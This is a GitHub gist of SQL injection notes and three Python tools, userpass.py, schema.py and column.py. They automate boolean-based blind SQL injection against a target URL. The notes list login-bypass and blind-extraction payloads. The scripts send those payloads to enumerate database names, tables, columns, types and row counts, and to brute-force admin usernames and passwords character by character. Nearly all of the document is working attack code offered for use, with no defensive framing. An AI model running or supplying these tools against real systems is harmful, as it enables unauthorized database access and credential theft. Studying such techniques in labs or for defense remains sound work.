Skip to content

Instantly share code, notes, and snippets.

@jo-makar
Last active April 2, 2019 15:14
Show Gist options
  • Save jo-makar/ac049270eb96f8a4553bd9a3eae0b942 to your computer and use it in GitHub Desktop.
Save jo-makar/ac049270eb96f8a4553bd9a3eae0b942 to your computer and use it in GitHub Desktop.
SQL injection notes / tools

SQL injection notes / tools

userpass.py

Assume a login page with the query: select password from admins where username=\'%s\'

Login outright use:

  • username: ' union select "foo"; --
  • password: foo

Determine the number of accounts:

  • username: ' union select (select count(*) from admins); --
  • password: 0 then 1 then 2 ... until successful login

Determine the length of the nth account username (n - 1 = offset):

  • username: ' union select length(username) from admins limit 1 offset <n>; --
  • password: 0 then 1 then 2 ... until successful login

Byte-wise brute force the nth byte of username for the pth account (p - 1 = offset):

  • username: ' union select substr(username, <n>, 1) from admins limit 1 offset <p>; --
  • password: a then b then c ... until successful login

A similar process is used for the password once the username is determined.

schema.py / column.py

Assume a page with the query: select <column> from <table> where id=%u

Also assume a valid id is known that generates a valid (eg 200 OK) page.

Determine the length of the database name:

  • id: <id> and length(database()) = 1 then ... 2 then ... 3 until successful page load

Byte-wise brute force the nth byte of the database name:

  • id: <id> and substr(database(), <n>, 1) = "a" then ... "b" then ... "c" until successful page load

Determine the number of tables in the database:

  • id: <id> and (select count(*) from information_schema.tables where table_schema=database()) = 1 then ... 2 then ... 3 until successful page load

Similar queries can be used to determine the tables names, column count, columns, column types, row counts, and actual contents.

#!/usr/bin/env python3
from userpass import unique
import requests
import argparse, logging, string
if __name__ == '__main__':
logging.basicConfig(format='%(asctime)s:%(levelname)s:%(filename)s:%(lineno)d:%(funcName)s:%(message)s', level=logging.INFO)
parser = argparse.ArgumentParser()
parser.add_argument('url')
parser.add_argument('table')
parser.add_argument('column')
parser.add_argument('idcol')
parser.add_argument('offset', type=int)
parser.add_argument('type', choices=['int', 'text'])
parser.add_argument('--cookie', '-c', action='append')
parser.add_argument('--referer', '-r')
parser.add_argument('--useragent', '-u')
parser.add_argument('--punctuation', '-p', action='store_true')
parser.add_argument('--debug', '-d', action='store_true')
args = parser.parse_args()
if args.debug:
logging.getLogger().setLevel(logging.DEBUG)
cookies = dict([cookie.split('=', 1) for cookie in args.cookie]) if args.cookie else None
headers = {}
if args.referer:
headers['Referer'] = args.referer
if args.useragent:
headers['User-Agent'] = args.useragent
if args.type == 'text':
# Determine the length of the column value
field = ' and (select length({}) from {} order by {} limit 1 offset {}) = {{}}'.format(args.column, args.table, args.idcol, args.offset)
results = []
for count in range(100):
resp = requests.get(args.url + field.format(count), cookies=cookies, headers=headers)
results += [(count, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
length = unique(results)
logging.info('column value length determined to be %u', length)
# Progressively determine the bytes of the column value
value = ''
for n in range(1, length + 1):
field = ' and (select substr({}, {}, 1) from {} order by {} limit 1 offset {}) = "{{}}"'.format(args.column, n, args.table, args.idcol, args.offset)
results = []
# Text values are not case-sensitive? (at least for mysql)
#for char in [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')]:
for char in [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')]:
resp = requests.get(args.url + field.format(char), cookies=cookies, headers=headers)
results += [(char, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
char = unique(results)
logging.info('char %u (of %u) determined to be %c', n, length, char)
value += char
logging.info('column value determined to be %s', value)
else:
assert args.type == 'int'
field = ' and (select {} from {} order by {} limit 1 offset {}) = {{}}'.format(args.column, args.table, args.idcol, args.offset)
results = []
for count in range(100):
resp = requests.get(args.url + field.format(count), cookies=cookies, headers=headers)
results += [(count, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
value = unique(results)
logging.info('column value determined to be %u', value)
#!/usr/bin/env python3
from userpass import unique
import requests
import argparse, logging, string
if __name__ == '__main__':
logging.basicConfig(format='%(asctime)s:%(levelname)s:%(filename)s:%(lineno)d:%(funcName)s:%(message)s', level=logging.INFO)
parser = argparse.ArgumentParser()
parser.add_argument('url')
parser.add_argument('--cookie', '-c', action='append')
parser.add_argument('--referer', '-r')
parser.add_argument('--useragent', '-u')
parser.add_argument('--punctuation', '-p', action='store_true')
parser.add_argument('--debug', '-d', action='store_true')
args = parser.parse_args()
if args.debug:
logging.getLogger().setLevel(logging.DEBUG)
cookies = dict([cookie.split('=', 1) for cookie in args.cookie]) if args.cookie else None
headers = {}
if args.referer:
headers['Referer'] = args.referer
if args.useragent:
headers['User-Agent'] = args.useragent
def bruteforce(field, values):
results = []
for v in values:
resp = requests.get(args.url + field.format(v), cookies=cookies, headers=headers)
results += [(v, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
return unique(results)
# Determine the length of the database name
length = bruteforce(' and length(database()) = {}', list(range(50)))
logging.info('database name length determined to be %u', length)
# Progressively determine the bytes of the database name
database = ''
for n in range(1, length + 1):
# Database names are not case-sensitive (at least for mysql)
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')]
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')]
char = bruteforce(' and substr(database(), {}, 1) = "{{}}"'.format(n), chars)
logging.debug('char %u (of %u) determined to be %c', n, length, char)
database += char
logging.info('database name determined to be %s', database)
# Determine the number of tables in the database
ntables = bruteforce(''' and (select count(*)
from information_schema.tables
where table_schema=database()) = {}
''',
list(range(50)))
logging.info('number of tables determined to be %u', ntables)
for n in range(ntables):
# Determine the length of the table name
length = bruteforce(''' and (select length(table_name)
from information_schema.tables
where table_schema=database()
order by table_name limit 1 offset {}) = {{}}
'''.format(n),
list(range(50)))
logging.info('table %u name length determined to be %u', n, length)
# Progressively determine the bytes of the table name
table = ''
for p in range(1, length + 1):
# Table names are not case-sensitive (at least for mysql)
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')]
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')]
char = bruteforce(''' and (select substr(table_name, {}, 1)
from information_schema.tables
where table_schema=database()
order by table_name limit 1 offset {}) = "{{}}"
'''.format(p, n),
chars)
logging.debug('char %u (of %u) determined to be %c', p, length, char)
table += char
logging.info('table %u name determined to be %s', n, table)
# Determine the number of columns in the table
ncolumns = bruteforce(''' and (select count(*)
from information_schema.columns
where table_schema=database() and table_name="{}") = {{}}
'''.format(table),
list(range(50)))
logging.info('table %s (%u) determined to have %u columns', table, n, ncolumns)
for p in range(ncolumns):
# Determine the length of the column name
length = bruteforce(''' and (select length(column_name)
from information_schema.columns
where table_schema=database() and table_name="{}"
order by column_name limit 1 offset {}) = {{}}
'''.format(table, p),
list(range(50)))
logging.info('table %s (%u) column %u name length determined to be %u', table, n, p, length)
# Progressively determine the bytes of the column name
column = ''
for q in range(1, length + 1):
# Column names are not case-sensitive (at least for mysql)
#chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')]
chars = [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_lowercase + (string.punctuation if args.punctuation else '')]
char = bruteforce(''' and (select substr(column_name, {}, 1)
from information_schema.columns
where table_schema=database() and table_name="{}"
order by column_name limit 1 offset {}) = "{{}}"
'''.format(q, table, p),
chars)
logging.debug('char %u (of %u) determined to be %c', q, length, char)
column += char
logging.info('table %s (%u) column %u name determined to be %s', table, n, p, column)
# Determine the column type
type = bruteforce(''' and (select lower(data_type)
from information_schema.columns
where table_schema=database() and table_name="{}" and column_name="{}") = "{{}}"
'''.format(table, column),
['char', 'varchar', 'tinytext', 'text', 'blob', 'mediumtext', 'mediumblob', 'longtext', 'longblob', 'tinyint', 'smallint', 'mediumint', 'int', 'bigint', 'float', 'double', 'decimal', 'date', 'datetime', 'timestamp', 'time', 'enum', 'set', 'boolean'])
logging.info('table %s (%u) column %s (%u) type determined to be %s', table, n, column, p, type)
# Determine the number of rows in the table
# TODO Better to separate this out into another script and use ranges (ie count(*) < 1000)
nrows = bruteforce(' and (select count(*) from {}) = {{}}'.format(table), list(range(50)))
logging.info('table %s (%u) determined to have %u rows', table, n, nrows)
#!/usr/bin/env python3
import requests
import argparse, logging, string
def unique(results):
'''
Check if there is a unique result from a series of test results in tabular format.
Assumes the first column is the independent variable and the remaining columns are the dependents.
'''
resultdict = {}
for result in results:
if result[1:] not in resultdict:
resultdict[result[1:]] = 0
resultdict[result[1:]] += 1
sortedresults = sorted(resultdict.items(), key=lambda e:e[1])
logging.debug('sorted results = %r', sortedresults)
assert len(sortedresults) > 1
assert sortedresults[0][1] == 1
assert sortedresults[1][1] > 1
key = sortedresults[0][0]
return [result[0] for result in results if result[1:] == key][0]
if __name__ == '__main__':
logging.basicConfig(format='%(asctime)s:%(levelname)s:%(filename)s:%(lineno)d:%(funcName)s:%(message)s', level=logging.INFO)
parser = argparse.ArgumentParser()
parser.add_argument('url')
parser.add_argument('--cookie', '-c', action='append')
parser.add_argument('--referer', '-r')
parser.add_argument('--useragent', '-u')
parser.add_argument('--password', '-p', action='store_true')
parser.add_argument('--punctuation', '-n', action='store_true')
parser.add_argument('--debug', '-d', action='store_true')
args = parser.parse_args()
if args.debug:
logging.getLogger().setLevel(logging.DEBUG)
target = 'password' if args.password else 'username'
cookies = dict([cookie.split('=', 1) for cookie in args.cookie]) if args.cookie else None
headers = {}
if args.referer:
headers['Referer'] = args.referer
if args.useragent:
headers['User-Agent'] = args.useragent
# Determine the length of the (first) username/password
username = "' union select length({}) from admins limit 1 offset 0; --".format(target)
results = []
for count in range(50):
resp = requests.post(args.url, data={'username':username, 'password':count}, cookies=cookies, headers=headers)
results += [(count, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
length = unique(results)
logging.info('%s length determined to be %u', target, length)
# Progressively determine the bytes of the (first) username/password
for n in range(1, length + 1):
username = "' union select substr({}, {}, 1) from admins limit 1 offset 0; --".format(target, n)
results = []
for char in [chr(c) for c in range(0, 256) if chr(c) in string.digits + string.ascii_letters + (string.punctuation if args.punctuation else '')]:
resp = requests.post(args.url, data={'username':username, 'password':char}, cookies=cookies, headers=headers)
results += [(char, resp.status_code, resp.reason, len(resp.content), resp.is_redirect)]
logging.debug('result = %r', results[-1])
logging.info('char %u (of %u) determined to be %c', n, length, unique(results))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment